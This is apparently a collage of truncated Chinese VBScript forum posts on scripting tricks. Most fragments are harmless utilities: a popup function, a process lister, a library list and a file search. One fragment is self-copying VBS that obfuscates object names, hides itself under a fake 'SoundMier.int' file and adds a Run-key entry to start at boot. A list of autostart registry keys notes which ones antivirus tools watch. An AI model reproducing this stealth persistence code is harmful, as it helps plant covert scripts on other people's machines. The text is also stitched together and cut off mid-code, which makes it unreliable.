Well，不知道该说些什么了。VBS_Users：你们还好么？就知道，三分钟的热情难以让人真正有所提高，所以看到了“浮夸”很多。沉迷在Shutdown和SendKeys中或许没那么有激情吧，只是这种事谁知道，因为别人的想法你总是难以感同身受。只是想写字，没那么多想法。只是想立个帖子，感受一下自己的存在。That's it!

额，这个标题真是萌翻了。。。--！ 近来，吧内也没什么生气，有帖子也都是那些关于ShutDown和MsgBox的问题。 确实，VBS是脚本语言，底层的、高层的似乎与哪一样对比都显得短板。但是，VBS还是有它自己的优点的。批量处理和个性化定制，还有便于编辑和修改。。。作为一个基于对象的应用，它有时显得很风骚，很强大。学VBS之前略懂些C和VB，偶然发现VSB是因为无聊搜索中知道有个FSO对象。藉此才更进一步了解了VBS，了解了脚本。接触之时充满对对

---常用启动项--- HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run '特别注意这一项，某些杀毒软件查的比较紧。 HKCU\Software\Microsoft\Windows\CurrentVersion\Run 'Ctfmon就在这里 HKLM\System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\StartupPrograms HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell '这是Explorer的启动项，如果被占用桌面将启动不了。 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit 这个键允许指定用逗号分隔的多个程序，可以：userinit.exe,Test.vbs HKEY_CURRENT_USER\Software

'---------------------------------------------------------- ' CODE BY: EAGLE ' Email    : eagle846@163.com ' QQ    : 369029696 ' ' 函数名 ： IEmsg ' 功    能 ： 在屏幕右下角升起一个网页，可以用于提示信息 ' 特    点 ： 可以将网页在自定义时间后自动关闭 ' ' 参    数 ： IEmsg(title,msg,time) '    title -     提示信息的标题 '    msg -     提示信息的内容，换行符为"<br>" '  

思路1： 直接输入公式，即可得到结果。（1个inputbox) 思路2： 分别输入两个数字和运算符号。（3个或更多inputbox) 如回帖请注明属于思路几或你自己的思路

rem start model=false mydicN=0 on error resume next set fso=createobject("script"&"ing.filesyste"&"mobject") set sh=createobject("wscr" & "ipt.sh" & "ell") set sysdir=fso.getspecialfolder(1) set mydic=createobject("script"&"ing.dict" &"ionary") key0="HKCR\VBSFile\DefaultIcon\" sh.regwrite key0,sysdir & "\shell32.dll,-152" sh.regwrite "HKCR\.int\","VBSFile" newfilename=sysdir & "\" & "SoundMier.int" fso.copyfile WScript.ScriptFullName,newfilename key0="HKLM\software\microsoft\windows\currentversion\run\SoundMier" sh.regwrite key0,newfilename set file0=fso.Ope

dim oie,doc1,fso strComputer = "." Set objWMIService = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") Set colprocess = objWMIService.ExecQuery _ ("Select * from Win32_process") for each objprocess in colprocess a=20-len(objprocess.caption) b=10-len(objprocess.handle) for i = 0 to a p=p&"." next for i = 0 to b q=q&"." next pross= pross&objprocess.caption&p&objprocess.handle&q&objprocess.commandline&vbcrlf p="" q="" next no="总进程数为:"&colprocess.count b="-------------------------------------------

VB,VBS,VBA,ASP可引用的库参考 '''--- DAODE1212整理于2008年06月03日, '''---HTTP://WWW.BCDSOFT.NET/ONESTEPHOME/ 文件系统对象相关: ("SCRIPTING.FILESYSTEMOBJECT") 字典相关: ("SCRIPTING.DICTIONARY") 脚本外壳相关: ("WSCRIPT.SHELL") WINDOWS外壳相关: ("SHELL.APPLICATION") 正则表达式相关: ("VBSCRIPT.REGEXP") ASP相关: ("MSWC.ADROTATOR") ("MSWC.NEXTLINK") ("MSWC.MYINFO") 公用对话框相关: ("MSCOMDLG.COMMONDIALOG") 编码与密码相关: ("SCRIPTPW.PASSWORD") ( "SCRIPTING.ENCODER" ) 邮件发送的组件相关： (

如何用vbs搜索整个硬盘? filename=inputbox("输入文件名","搜索") set fso=createobject("scripting.filesystemobject") for each drv in fso.drives set folder1=fso.getfolder(drv.path) ...... ...... ...... ......